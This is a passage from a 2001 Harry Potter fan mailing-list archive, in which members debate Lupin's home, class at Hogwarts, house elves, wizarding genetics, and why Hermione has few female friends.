C.R.A.B!  as soon as I can affird the fees that is.

Riv

Hey!  two knuts sure gets a whole rabble of words out of me round 
here...




From rowena_grunnion_ffitch at yahoo.com  Tue Sep 25 23:49:26 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Tue, 25 Sep 2001 16:49:26 -0700 (PDT)
Subject: [HPforGrownups] Lupin living at Godric's Hollow?
In-Reply-To: <9or400+tuca@eGroups.com>
Message-ID: <20010925234926.40213.qmail@web20801.mail.yahoo.com>

No: HPFGUIDX 26711

    Unfortunately it is clearly stated in SS that the
Potter house was destroyed. On the other hand it's
perfectly possible it was rebuilt and we know Lupin
*does* have a home somewhere secure enough for a
wanted man, (Sirius) to hide safely.


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From rowena_grunnion_ffitch at yahoo.com  Tue Sep 25 23:52:37 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Tue, 25 Sep 2001 16:52:37 -0700 (PDT)
Subject: [HPforGrownups] Re: In defense of the Working Class/Pecking Order
In-Reply-To: <9oqre8+9b3e@eGroups.com>
Message-ID: <20010925235237.51997.qmail@web20804.mail.yahoo.com>

No: HPFGUIDX 26712


--- macloudt at yahoo.co.uk wrote:
> 
> One question, though:  is *Mrs. Norris* magical in
> any way?

   I would say Mrs. Norris is a clear example of a
familiar. She certainly isn't an ordinary cat.

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From rowena_grunnion_ffitch at yahoo.com  Wed Sep 26 00:15:16 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Tue, 25 Sep 2001 17:15:16 -0700 (PDT)
Subject: [HPforGrownups] In defense of the Working Class
In-Reply-To: <9oqmk5+tjto@eGroups.com>
Message-ID: <20010926001516.85484.qmail@web20807.mail.yahoo.com>

No: HPFGUIDX 26713


--- cynthiaanncoe at home.com wrote:
 
> I would need more proof to say that there isn't a
> class system at Hogwarts.

    I never meant there wasn't a class system, just
that the classes had no hesitation about mingling
socially. 

  Yes, Hagrid dines at the staff table (I
> think that is what 
> they call it), but we know that Dumbledore would
> trust his life to 
> Hagrid, so I assume this seating arrangement could
> be a result of 
> that personal relationship.  There's no proof that
> Filch gets invited 
> to anything, although we don't know why this is.

   Actually he is present at the Christmas luncheon in
PoA. He is wearing a dress coat and Harry et al seem
mildly surprised at seeing him there suggesting both
that he does not usually dine in the Hall and that
this is by choice, (as with Professor Trelawney).
 
> Also, many of the students (not just Malfoy, if I
> recall correctly) 
> are prepared to look down on Lupin just because of
> his shabby robes.  
> Or, at least, they are said to view Lupin with
> increased respect due 
> to his classroom performance.

   At this point the entire student body of Hogwarts
must have a *very* jaundiced view of DADA instructors!

I think it is that and Lupin's evident ill-health that
causes many students to have doubts about him at
first. 
 
> Cindy (who sometimes wonders why a talented wizard
> like Lupin doesn't 
> learn a mending charm to fix up his robes, as there
> surely must be 
> one, because first impressions are important when
> you are an 
> unemployed werewolf)  

    Or just learn to sew the normal way, or ask one of
the House elves to do it for him. I suspect Lupin's
tattered appearance is as much due to indifference as
poverty. What he needs is a nice Witch who's good at
potions and doesnt' mind a spot of lycanthropy to take
care of him. ;)

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From rowena_grunnion_ffitch at yahoo.com  Wed Sep 26 00:32:09 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Tue, 25 Sep 2001 17:32:09 -0700 (PDT)
Subject: [HPforGrownups] Squib/Muggleborn theory
In-Reply-To: <9or02j+27vk@eGroups.com>
Message-ID: <20010926003209.16232.qmail@web20810.mail.yahoo.com>

No: HPFGUIDX 26714


--- catherine at cator-manor.demon.co.uk wrote:
> In fact, couldn't all muggle born
> wizards/witches have 
> originally come from magical families, but are
> actually born from 
> squibs/descendents of squibs.  Is this genetically
> possible?  It 
> would explain why magical children suddenly appear
> in a long line of 
> non-magical ancestors.

      This is possible genetically if 'magic' is a
recessive gene requiring one from both parents to
express itself. If this was the case however
half-bloods would almost always be Muggles which does
not seem to be the case or intermarriage with Muggles
would have destroyed rather than preserved the
Wizarding race.
    I think 'magic' is controlled by a single dominate
gene which always expresses itself when present.
Muggle born wizards and witches are the result of a
spontaneous mutation.

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From meboriqua at aol.com  Wed Sep 26 01:07:40 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Wed, 26 Sep 2001 01:07:40 -0000
Subject: Angry Harry/ Strife... and also re: Mirror of Erised
In-Reply-To: <9or506+9qcg@eGroups.com>
Message-ID: <9or9os+l54d@eGroups.com>

No: HPFGUIDX 26715

--- In HPforGrownups at y..., find_the.rivier at n... wrote:

if JKR wants to put 
> us all through the mill-race, then she'll get Ron and Hermione to 
> fall in love with each other, and leave poor Harry out there, once 
> again in second place, and see what that does to his emotional self-
> control... at fifteen or sixteen, ye gods...>

Excellent post!  I'd like to add a thought on this.  In GoF, there is 
a scene where Harry goes to the owlery to get away from Ron and 
Hermione's constant bickering and chooses to stay in the owlery for 
what seems like hours, alone and staring out the window.  I see this 
as a bit of a red flag for what is to come.  Harry could very well be 
pushed away by R/H but could also pull back from them on his own.  
Considering how much he has come to depend on the friendship of both 
Ron and Hermione, Harry choosing to isolate himself could be damaging; 
Harry is a prime candidate for serious depression, IMO, and that could 
seriously weaken Harry's resolve to fight Voldemort and his bevvy of 
DEs.

--jenny from ravenclaw ************************************




From MmeBurgess at msn.com  Wed Sep 26 04:23:06 2001
From: MmeBurgess at msn.com (Angela Burgess)
Date: Tue, 25 Sep 2001 21:23:06 -0700
Subject: Smart Enough for Hogwarts?; The Trio gets Mad; House Elves/Wives; Job
Message-ID: <OE105jNTU81u7EQQQwG0000f2de@hotmail.com>

No: HPFGUIDX 26716

joym999 at aol.com wrote:
<<There is NO evidence that Stan or Ernie or anyone else (except Hagrid and that's different) flunked out of Hogwarts, nor have we been presented with any evidence that some wizards and witches are not intelligent enough to go to Hogwarts.>>

I could be wrong here, since I don't have my copy of PS/SS, but didn't Neville say something about his family being worried that he wouldn't make it in to Hogwarts?  I think that this was because he didn't show any magic until he was dropped out the window by his uncle.  Like I said, I could very well be wrong.  Please feel free to correct me if I am.  I loaned my copy of PS/SS to a friend out of wishful thinking at the beginning of the summer and still have not gotten it back (nor do I think she's read it!:().

She then writes:
<<Rosmerta works in a pub in Hogsmeade whose name I've forgotten which some LOON will no doubt remind me of.>>

Three Broomsticks

Amber said:
<<Someone, help me! What could Hermione or Ron do to plausibly get Harry really upset?>>

Well, what if there is yet another secret about James and Lily that Harry (and thus we) doesn't know?  Something really scandalous....then Ron and Hermione say something about it in that caring I-know-you-don't-want-to-think-about-this-but... way that close friends can have that really ticks Harry off because he was already upset.  While this is a long way of explaining it, it happens quite frequently, at least in my experience.  After they all make up, they explain that they were just trying to help and Harry says "Yeah, I know, I just didn't want to deal with it and certainly not in that way" or something along those lines.

To incorporate getting all three of them mad at each other and NONE of them speaking, Hermione and Ron could get into a fight as to who got Harry mad at them in the first place.

My own personal thoughts:
As far as the house elves vs. house wives discussion goes, I must say that Pippin draws an interesting comparison that is much more applicable to today's society than the slavery argument.  I agree that there would be problems with the idea of giving wages, insurance, days off, etc. to house wives (What about those women who are deeply in poverty who can't work because they have children but the husband has left and doesn't pay child support?  Would you give the same wage to a house husband as to a house wife?  What about the women/men whose spouse makes so much that they essentially already have a salary?  What about the women like this who despite the wealth are mistreated? etc.).  These are all examples that could be translated to the wizard world.  What about the family who has a house elf but all their money has been depleted by ancestors who had no concept of money?  The wife/husband argument doesn't really work...What about house elves who are given clothes for no reason?  Which leads to, if this was the case, what would be "just cause" for letting a house elf go?  Any ideas, anyone?  Although, I must say, that this has probably moved to the OT-Chatter realm...I'll check the list tomorrow for responses, but I'm currently offline and it is MUCH easier to start the thread in this mass-post than it is to write several different emails when I'm not sure of the address off the top of my head.

Lastly,  my job must be one of the easiest to translate to the wizard world.  As a teacher, I would *hope* that I would have a job at Hogwarts.  But also, as a French teacher, maybe I could be a liaison entre Hogwarts and Beauxbatons.  Or even between the Ministries of Magic of Great Britain and France?

Angela
(who is slightly elevating herself is her imaginary witch world!) ;)

 Get more from the Web.  FREE MSN Explorer download : http://explorer.msn.com


[Non-text portions of this message have been removed]




From lsease at supernet.com  Wed Sep 26 01:38:00 2001
From: lsease at supernet.com (lsease at supernet.com)
Date: Wed, 26 Sep 2001 01:38:00 -0000
Subject: Harry and the Weasleys (Was Cutting Ron A Break)
In-Reply-To: <9oqduc+r88q@eGroups.com>
Message-ID: <9orbho+uvt1@eGroups.com>

No: HPFGUIDX 26717

--- In HPforGrownups at y..., catherine at c... wrote:
> --- In HPforGrownups at y..., "Amber ?" <inviziblegirl at h...> wrote:
> > I think JKR is going to further emphasize the jealousy that Ron 
> feels for 
> > Harry, which is a ripe area for conflict. She could also emphasize 
> the 
> > jealousy that Harry feels towards Ron's family.
> 
> This comment really made me think.  The thought has never crossed my 
> mind that Harry could be jealous of Ron and his family - and I'm 
> pretty convinced that he is not.  

 

I think Harry is jealous of Ron's family.  One of the first things he 
says to Ron is very revealing. It's when they meet on the train in SS:
 
"Wish I'd had three wizard brothers." 

(Harry doesn't know about Bill & Charlie at this point)  

Harry also sees his own family when he looks in the Mirror of Elised.

Seeing Ron with his large family reminds Harry of what Vol has taken 
away from him.  He will never have any brothers & sisters and 
will never know his father & mother.  Harry isn't bitter about it but 
I do think he is jealous.  I don't think Ron is aware of 
this jealously, though.   

>
> 
>
> 
> 
> 
> 




From animalsbaby_1999 at yahoo.com  Wed Sep 26 01:54:31 2001
From: animalsbaby_1999 at yahoo.com (animalsbaby_1999 at yahoo.com)
Date: Wed, 26 Sep 2001 01:54:31 -0000
Subject: Lily and her family
Message-ID: <9orcgn+dd6b@eGroups.com>

No: HPFGUIDX 26718

Yes I am a new member, so I am sure this subject has been done a 
million times over, but what I really think is that Lily comes from a 
line of witches/wizards, but maybe we we will learn more about her 
past along with her family's past.  I have always wondered why Lily 
was a witch and why her sister wasn't, plus since her parents were so 
proud of Lily and seemed not to care about Petunia!

Another thought... the way Vernon and Petunia probably is the way 
that Petunia "remembers" the way her parents treated her and they 
treat Dudley the way Petunia "remebers" her parents treating Lily!

Furthermore, it would be intresting to find out if there is 
any "interesting" history on the Dursely side of the family!

Also, it would be interesting to find out if Hermoine has any 
wizarding history in her family tree!

If you need to chat or anything... email me 
animalsbaby_1999 at yahoo.com or lhickman at home.com

Thanks,
Laura




From borg3892000 at yahoo.com  Wed Sep 26 02:36:47 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Wed, 26 Sep 2001 02:36:47 -0000
Subject: Wizarding Caste System [was: In Defense of  Hermione]
In-Reply-To: <9oqnoi+kont@eGroups.com>
Message-ID: <9orevv+pjig@eGroups.com>

No: HPFGUIDX 26719

--- In HPforGrownups at y..., foxmoth at q... wrote:
> --- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
> <rowena_grunnion_ffitch at y...> wrote:
> 
> 	That's my point.  Winky's case clearly shows that House Elves 
> also  form emotional and spiritual bonds with their wizard 
> families which are very important to them.  Putting things on a 
> cash basis will disrupt that, just as it would in marriage.
> 	  It  wasn't too long ago that wives  were considered chattel 
also:
> vowed to obey, disenfranchised, forbidden to inherit property or 
> dispose of it without their husbands' permission,and "clothes", I 
> mean divorce, was regarded as the ultimate disgrace. Those 
> were legal and social practices not in some reactionary 
> dictatorship  but in the USA and the British Isles. Things have 
> changed.
> 	Perhaps  the House Elf/wizard relationship will evolve in a 
> similar direction, one in which the partnership becomes more 
> equal, without  putting it on an employee/employer basis?
> 		

Interesting idea.  Although most people form some kind of bond with 
their employers.  Not always a pleasant one, however.

But you have a point.  We really don't know what house elves get out 
of the deal.  My cat is sitting in my lap as I write this.  I feed 
her, clean her chamberpot (litterbox, I think the muggles call them), 
provide her with entertainment, and brush her regularly.  She 
certainly doesn't pay me, provide me with vacations or benefits, nor 
offer a substitute (god forbid) if I decide to take a day off.  Yet I 
receive a certain benefit out of the relationship with this cat.

This, naturally, begs the question "are wizards merely the pets of 
house elves?"

Even more to the point, in my master/pet relationship with my cat, 
which am I?  The master or the pet?  No true cat owner has ever been 
able to answer that.

** wondering how powerful a borg wizard would be **




From CollectiveSIAS at aol.com  Wed Sep 26 03:30:54 2001
From: CollectiveSIAS at aol.com (CollectiveSIAS at aol.com)
Date: Tue, 25 Sep 2001 23:30:54 EDT
Subject: [HPforGrownups] Re: Angry Harry/ Strife
Message-ID: <8a.d04adb9.28e2a5ee@aol.com>

No: HPFGUIDX 26720

In a message dated 9/25/01 4:27:33 PM Eastern Daylight Time, 
catherine at cator-manor.demon.co.uk writes:


> Harry's main 
> characteristics for me is his loyalty.  One thing he never had prior 
> to his eleventh birthday was people around him who loved him, cared 
> for him, *liked* him, even.  I think he is very appreciative of this, 
> which is why I think that it keeps in check any feelings he may have 
> about what others have.  Afterall, he has gone from having nothing at 
> all, to having quite a lot.


It is very peculiar that Harry has such good traits and is general a great 
person.  There have been studies about neglected and abused children and I 
don't think any have come out as well as Harry.  Maybe they were sweet to him 
when he was an infant.  Any ideas?

Jenna
::who doesn't  know if this topic has been covered before and I cant seem to 
get into the boards to check something about password problems :: go figure I 
thought yahoo was perfect


[Non-text portions of this message have been removed]




From mindyatime at juno.com  Wed Sep 26 03:37:48 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Tue, 25 Sep 2001 23:37:48 -0400
Subject: No girlfriends for Hermione?
Message-ID: <20010925.234246.-361189.1.mindyatime@juno.com>

No: HPFGUIDX 26721

I find it strange that Hermione is not associating with any girls in her
school. She's always hanging out with Ron & Harry. I know they're not
'boyfriends' in the sense of the word, but still, most of us girls in
school hung out with the girls, didn't we? She shares a room with
Lavender, Parvati, and two other girls -- naturally sharing a room forges
a bond, just as Harry was friendly with Seamus, Dean, and Neville. Yet
Hermione is never chatting away with other Gryffindor girls or girls of
any sort. Why is that?
________________________________________________________________
GET INTERNET ACCESS FROM JUNO!
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From kcbenzin at bu.edu  Wed Sep 26 03:42:35 2001
From: kcbenzin at bu.edu (kcbenzin at bu.edu)
Date: Wed, 26 Sep 2001 03:42:35 -0000
Subject: SB's Fate
In-Reply-To: <9oohnl+k5a5@eGroups.com>
Message-ID: <9orirb+6us0@eGroups.com>

No: HPFGUIDX 26722

> 
> Perhaps the name has to capture the foundation of our objection to 
> Sirius' demise.  So how about E.T.U.K.S.S.Y. (End The Unfairness of 
> Killing Sirius So Young)?  As there is much demand, perhaps we all 
> must pony up a whole galleon to join?
> 
> Cindy (who thinks we will also need a 12-step program for all of 
> those suffering Sirius withdrawal)

What about K.O.P.P.A. (Keep Our Precious Padfoot Alive)?




From catherine at cator-manor.demon.co.uk  Wed Sep 26 07:54:39 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Wed, 26 Sep 2001 07:54:39 -0000
Subject: No girlfriends for Hermione?
In-Reply-To: <20010925.234246.-361189.1.mindyatime@juno.com>
Message-ID: <9os1jv+le8n@eGroups.com>

No: HPFGUIDX 26723

--- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> I find it strange that Hermione is not associating with any girls 
in her
> school. She's always hanging out with Ron & Harry. I know they're 
not
> 'boyfriends' in the sense of the word, but still, most of us girls 
in
> school hung out with the girls, didn't we? She shares a room with
> Lavender, Parvati, and two other girls -- naturally sharing a room 
forges
> a bond, just as Harry was friendly with Seamus, Dean, and Neville. 
Yet
> Hermione is never chatting away with other Gryffindor girls or 
girls of
> any sort. Why is that?

Firstly, where do you get the other two girls from?  Is this the 
debate as to whether there are other Gryffindors in Harry's year 
besides the ones actually named?  I don't believe it.   I think that 
there are only 8 students in Gryffindor in their year.

Hermione doesn't gravitate towards Parvati and Lavender because she 
seems so much mature than they do.  In CoS, Hermione goes through the 
giggly stage, with her crush on Lockhart etc.  It takes another two 
year for Lavender and Parvati to catch up - see their behaviour in 
GoF.  I think that Hermione sees them as being too frivolous for her -
she has other concerns besides boys at this stage, such as saving the 
world and doing her homework.

I do think that Ginny is a contender for girlfriend of Hermione, 
though.   They are thrown together at the Burrow, so do know one 
another fairly well.  There is also some indication that Hermione 
confides in Ginny and no one else - for instance, Ginny knew that 
Hermione was going to the Yule Ball with Krum.  No one else did.  My 
personal opinion is that their relationship has changed, from 
Hermione seeing Ginny as Ron's little sister and someone to mother, 
to her seeing her as someone on the same wavelength.  For instance, 
it seems that Ginny shares the sensitive, motherly side of Hermione's 
nature, as illustrated when she comforts Ron after his disastrous 
attempt to ask Fleur to go to the ball with him.  

This argument has been refuted before, when people have suggested 
that Ginny isn't in Hermione's confidence, and the example usually 
used to illustrate this is that she doesn't take Ginny into her 
confidence regarding Sirius.  This, however, is very much in 
Hermione's character.  Hermione has proven that she is good at 
keeping other people's secrets and is very discreet - for instance, 
she managed to hide the existence of the timeturner from her two best 
friends for almost a year.

So, Ginny is probably the closest thing Hermione has to a 
girlfriend.  However, this does come second to her relationship with 
Harry and Ron - any other potential friend would have to deal with 
this.


Catherine





From lady.nymphaea at faerielands.com  Wed Sep 26 07:54:42 2001
From: lady.nymphaea at faerielands.com (lady.nymphaea at faerielands.com)
Date: Wed, 26 Sep 2001 07:54:42 -0000
Subject: No girlfriends for Hermione?
In-Reply-To: <20010925.234246.-361189.1.mindyatime@juno.com>
Message-ID: <9os1k2+jih5@eGroups.com>

No: HPFGUIDX 26724

--- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> I find it strange that Hermione is not associating with any girls 
in her
> school. She's always hanging out with Ron & Harry. I know they're 
not
> 'boyfriends' in the sense of the word, but still, most of us girls 
in
> school hung out with the girls, didn't we? She shares a room with
> Lavender, Parvati, and two other girls -- naturally sharing a room 
forges
> a bond, just as Harry was friendly with Seamus, Dean, and Neville. 
Yet
> Hermione is never chatting away with other Gryffindor girls or 
girls of
> any sort. Why is that?

Well, for one thing, we never get to directly see Hermione when she's 
not with Harry. The closest we get to hearing about Hermione talking 
to other girls is when Ginny refuses to tell Harry and Ron about what 
Hermione told her about her Yule Ball date. She's obviously friends 
enough with Ginny to tell her (some) Big Secrets About Boys.

Also, just because one shares a room with someone else does not mean 
both parties must like each other. I had personality conflicts with 
two-thirds of my college roommates, and spent most of my time out of 
my room with two male friends. Just like me and my roommates and 
friends, Hermione probably has a lot more in common with Harry and 
Ron than she does with Parvati and Lavender.

Meril
(tired)





From lake4fam at earthlink.net  Wed Sep 26 08:27:35 2001
From: lake4fam at earthlink.net (lake4fam at earthlink.net)
Date: Wed, 26 Sep 2001 08:27:35 -0000
Subject: Hermione's priorities/wizarding genetics
Message-ID: <9os3hn+ukug@eGroups.com>

No: HPFGUIDX 26725

Catherine:  I think that Hermione's priorities would probably be 
doing homework, and saving the world.

Rowena G-Ff.:  Have you read the Deryni Chronicles?  Katherine 
Kurtz's genetics postulated a dominant which gave the half-blooded 
Deryni abilities.  If the individual came from a "Pure" human 
bloodline, the abilities were suppressed, or else the Church had a 
lovely warm fire waiting...Perhaps the Wizarding gene lies dormant in 
many a Muggle family, suppressed either because of the reason given 
above, or, later, through sheer disbelief in magic.  I offer this as 
an explanation of how two dentists produced a witch.  They would have 
found out about Hermione's abilities via the letter from Hogwarts, 
which would magically know to whom it must go.

dittany/custodienne




From tabouli at unite.com.au  Wed Sep 26 11:43:02 2001
From: tabouli at unite.com.au (Tabouli)
Date: Wed, 26 Sep 2001 21:43:02 +1000
Subject: Spectral speculations, the IQ myth, & romantic ruminations...
Message-ID: <004a01c14680$7f934280$8992aecb@price>

No: HPFGUIDX 26726

Maria (maryblue?):
> If the Fat Friar was a religious person, then i doubt that he was a Magical Person. He must
have been a Muggle. Then you have the Bloody Baron and Nearly Headless Nick, who seem to have been Muggles too (or at least, don't seem to have had the life a Wizard would - one being a noble person, and the other one... well, it
doesn't strike me as a wizard)

Maybe.  Then again, the nobility and priesthood, being havens of eccentricity both, might have been a good way to conceal wizardous activity safely in the confines of church or manor a few centuries ago, only to be discovered, persecuted (hence unhappiness) and then executed for witchcraft.

Neil:
> I recall reading somewhere that JKR said something significant would 
be revealed in future books about the ghosts at Hogwarts.  (...) (Trelawney's) apparent ability to 
act as a medium is completely at odds with the fact that everyone 
else chews the fat with the Hogwarts ghosts as if they were flesh and blood.<

There is no doubt in my mind that the ghosts' stories will end up being Highly Significant.  Why else spend so much text describing them, when so far they have played a relatively peripheral part in the action (with the possible exception of the Deathday Party)?  JKR has also left a *lot* of tantalising loose ends dangling for the sewing up, such as why Peeves is scared of the Bloody Baron, why the BB is bloodstained, why Nearly Headless Nick was beheaded (and so inexpertly), who the Grey Lady is, why some people become ghosts and others don't, etc.etc.

Joywitch:
> I completely disagree with this.  There is NO evidence that Stan or 
Ernie or anyone else (except Hagrid and that's different) flunked out 
of Hogwarts, nor have we been presented with any evidence that some 
wizards and witches are not intelligent enough to go to Hogwarts.<

There is one piece of evidence that suggests that entry into Hogwarts is predicated on ability, and that is Neville's relatives being worried that he was "all muggle for ages" and wouldn't be magic enough to get into Hogwarts.

More Joywitch:
> Lots of smart people drive buses and conduct buses and work as 
waitresses.  I've waitressed myself, and I now I am working on my 
PhD.  Does that mean I used to be stupid and now I'm smart?<

Indeed.  I know someone who joined MENSA, and complained that it was full of taxi drivers (not the beautiful, brilliant young professional women he was hoping to meet :D)!  The relationship between job status and "intelligence" is becoming more and more tenuous in Anglophone societies, as the ol' individualist "enjoying life on my own terms" factor overtakes the money and prestige factor as the main driving force in life.

I think academic success, and IQ scores (the latter in particular) are greatly overrated.  Without flexibility, resourcefulness and application they often confer very few benefits, and less and less after leaving formal education.  Which might be why many people who get lots of academic success stay in formal education as long as they can and do PhDs...  As for PhDs, the mystique they seem to command is ludicrous when you know what is actually involved in doing one.  I think I might start quoting a joke I heard once which goes as follows: "Journalists learn more and more about less and less, until eventually they know everything about nothing.  Academics learn more and more about less and less, until eventually they know everything about nothing."

> Joywitch, who is going to go make little badges that say "WOWWW" -- 
>World Organization of Working Wizards and Witches.  (1 sickle to join)

Hey, this is a cut-price organisation --  I thought the standard membership fee was 2 sickles!  Perhaps we've reached saturation point, and desperate club presidents are out offering discounts and accosting passers-by...

Rowena:
> Moral indignation and self righteousness may be very satisfying emotions but
unless allied with *thought* and *knowledge* achieve nothing.    

As I have correctly learned to say on the OT list (thanks David!)... hear, hear!

dittany/custodienne:
> A very intriguing notion.  Postulate:  a young, very handsome (& 
he knows it,) Snape, truly in love with Lily

Jeremy:
> Absolutely!  This is a theory that my wife and I postulate.  We add 
the following: Severus found out that Voldemort wanted Lily dead and 
his devotion to her was stronger than that to the Dark Lord.  
Therefore, he turns back and becomes a spy for Dumbledore.  He hates 
Harry additionally because if it were not for Harry, Lily would still be alive.

Ha!  Yes, yes, see, see?  For those of you who weren't around for the great Snape/Lily debate, there's been an underground movement supporting this theory for months.  So there, vampire brigade -- two more members for L.O.L.L.I.P.O.P.S. (Love Of Lily Left Ire Polluting Our Poor Severus), for which I might hereby nominate myself founding member and president.  Now for the marketing spiel... er... every new member who pays their one sickle joining fee before the end of September gets free membership of... of...

Mary Ann:
> One question, though:  is *Mrs. Norris* magical in any way?

...F.L.I.R.T.I.A.C!  (Filch's Lover Is Regretting Transformation Into A Cat).  Well, you never know, I always thought Filch's devotion to Mrs Norris was a bit suspect, and we're about due for some romantic plot twists.  Let's just say that Mr Norris was a Menacing Muggle Man who ill-treated his flirtatious, yet sensitive wife.  Enter Argus, then young and dashing, who falls desperately in love with her and vows to rescue her from her husband's oily clutches.  Unfortunately, just as they are plotting their getaway, Mr Norris returns unexpectedly and charges them, bellowing violence and vengeance.  Under the extreme pressure of the situation, Argus manages to gather what pitiful powers he possesses, and hurls a Permanent Transformation spell at him, which misses, hits his beloved and turns her irreversibly into a cat.  In the confusion that follows, he manages to snatch her up and escape to Hogwarts, where kind, compassionate Dumbledore can only offer the devastated duo demeaning but lucrative jobs as caretakers.  Forced daily to witness blithe students more blessed than they with the magical talent which could have saved them, he and Mrs Norris grow old, embittered and nasty as they pace the humiliating corridors of their tragedy...

Tabouli.


[Non-text portions of this message have been removed]




From tabouli at unite.com.au  Wed Sep 26 12:04:33 2001
From: tabouli at unite.com.au (Tabouli)
Date: Wed, 26 Sep 2001 22:04:33 +1000
Subject: Snape/Lily supporters
Message-ID: <007301c14683$7e4e3800$8992aecb@price>

No: HPFGUIDX 26727

While I'm on this subject, who else is there out there sailing on the Good Ship LOLLIPOPS?


[Non-text portions of this message have been removed]




From tabouli at unite.com.au  Wed Sep 26 12:18:44 2001
From: tabouli at unite.com.au (Tabouli)
Date: Wed, 26 Sep 2001 22:18:44 +1000
Subject: Joke about academics and journalists (revised)
Message-ID: <008e01c14685$7a90f700$8992aecb@price>

No: HPFGUIDX 26728

I mangled:
>Journalists learn more and more about less and less, until eventually they know everything about nothing.  Academics learn more and more about less and less, until eventually they know everything about nothing."

Uh, that's meant to be "Journalists learn less and less about more and more until eventually they known nothing about everything".


[Non-text portions of this message have been removed]




From g_keddle at yahoo.com  Wed Sep 26 12:39:56 2001
From: g_keddle at yahoo.com (g_keddle at yahoo.com)
Date: Wed, 26 Sep 2001 12:39:56 -0000
Subject: Spectral speculations, the IQ myth, & romantic ruminations...
In-Reply-To: <004a01c14680$7f934280$8992aecb@price>
Message-ID: <9osias+uhsa@eGroups.com>

No: HPFGUIDX 26729

--- In HPforGrownups at y..., "Tabouli" <tabouli at u...> wrote:
> 
> ...F.L.I.R.T.I.A.C!  (Filch's Lover Is Regretting Transformation 
Into A Cat).  Well, you never know, I always thought Filch's devotion 
to Mrs Norris was a bit suspect, and we're about due for some 
romantic plot twists.  


LOL! This is hilarious and disturbingly plausible. I don't think I'm 
ready for L.O.L.L.I.P.O.P.S. yet, (although I will wave as you sail 
by simply out of admiration for the acronym) but can I be a 
F.L.I.R.T.I.A.C.? Please? 

Gert




From dfrankiswork at netscape.net  Wed Sep 26 13:16:57 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 26 Sep 2001 13:16:57 -0000
Subject: No girlfriends for Hermione?
In-Reply-To: <9os1jv+le8n@eGroups.com>
Message-ID: <9oskg9+foud@eGroups.com>

No: HPFGUIDX 26730

Catherine wrote:

> Firstly, where do you get the other two girls from?  Is this the 
> debate as to whether there are other Gryffindors in Harry's year 
> besides the ones actually named?  

I think the Lexicon puts forward the case for two more unnamed 
Gryffindor girls in Harry's year.
> 
> I do think that Ginny is a contender for girlfriend of Hermione, 
> though.   They are thrown together at the Burrow, so do know one 
> another fairly well.  There is also some indication that Hermione 
> confides in Ginny and no one else - for instance, Ginny knew that 
> Hermione was going to the Yule Ball with Krum.  No one else did.  
My 
> personal opinion is that their relationship has changed, from 
> Hermione seeing Ginny as Ron's little sister and someone to mother, 
> to her seeing her as someone on the same wavelength.  

One of the things that disappoints me in Hermione is the moment in 
PoA when Ron tells Ginny to get lost (or something like that), and 
Hermione (and Harry) tacitly goes along with this.  Things do seem to 
have changed by GOF, though.

That said, I agree with the general trend of Catherine's post.  
Hermoine also alienates Lavender over her rabbit.

David




From heidi.h.tandy.c92 at alumni.upenn.edu  Wed Sep 26 13:18:08 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Wed, 26 Sep 2001 09:18:08 -0400
Subject: Hermione's Friends; genes
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DB6@MIAEXCH1>

No: HPFGUIDX 26731

> --- In HPforGrownups at y..., Catherine wrote:
 
> Firstly, where do you get the other two girls from?  Is this the 
> debate as to whether there are other Gryffindors in Harry's year 
> besides the ones actually named?  I don't believe it.   I think that 
> there are only 8 students in Gryffindor in their year.

A close reading of PoA implies that there are two other students in the
class, because the Boggart changes for two people more than the kids we
*know* are in the class. I don't think there are 2 other girls simply
because of the balance of 5 in each dorm; I think it because of that. For
the other houses, don't we know only 2 Hufflepuff boys and 4 Slytherin boys
(if you believe that Blaise is a girl) - clearly we don't know everyone in
the other houses...but I wonder if we know everyone in Harry's year in his
own house.

re: wizarding genetics
For various reasons, this has been discussed often on the Paradigm of
Uncertainty HP Fanfic Mailing List, and I've always thought that wizarding
ability likely isn't tagged to just one gene, but rather a number of them -
some dominant and some recessive. That could explain the interplay between
muggle and magical genetics, if even some muggles had some of the genes that
would turn on magic, but not enough to actually make that individual
magical. Magic, I agree, has to be a dominant trait - otherwise, it's true,
you could never have muggle-born witches & wizards because the Magic traits
would be over- ridden by the Muggle traits. 
However, if it was only one gene, there would be *no* squibs (absent genetic
mutations), because all Magic parents would pass their genes onto their
ofspring. But if it is more than one gene, and if you have to have, say 3 of
the 5 to NOT be a squib, then the absence of one of those genes in each
parent would result in a Squib offspring BUT would allow the Squib to be a
parent of a Magic baby.

****************************************************************************
*********************
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From eyre68 at yahoo.com  Wed Sep 26 13:58:49 2001
From: eyre68 at yahoo.com (JayKay)
Date: Wed, 26 Sep 2001 06:58:49 -0700 (PDT)
Subject: No girlfriends for Hermione - Snape/Lily supporters
In-Reply-To: <007301c14683$7e4e3800$8992aecb@price>
Message-ID: <20010926135849.32428.qmail@web10105.mail.yahoo.com>

No: HPFGUIDX 26732

--- "Mindy C.L." wrote:

> I find it strange that Hermione is not associating
> with any girls in her
> school. She's always hanging out with Ron & Harry. I
> know they're not
> 'boyfriends' in the sense of the word, but still,
> most of us girls in
> school hung out with the girls, didn't we? 

I didn't. I've always had more male friends than
female friends, so it doesn't surprise that Hermione
does, too. 

It may be significant that Hermione is the character I
resembled most as a teenager, although I was far more
shy and didn't bounce up and down, trying to get
called on. Because of my unusual interests--SF/fantasy
books, RPGs, the usual geek egghead pursuits--I
couldn't relate to most girls in jr high/high school.
They were interested in boys (who wouldn't give me a
second glance), fashion, make-up and hair,
cheerleading, etc.  

Because of her intelligence, I can see Hermione not
relating well to other girls of her age either; Harry
and Ron may not be on her level of intelligence, but
they're the first people she took up with upon arrival
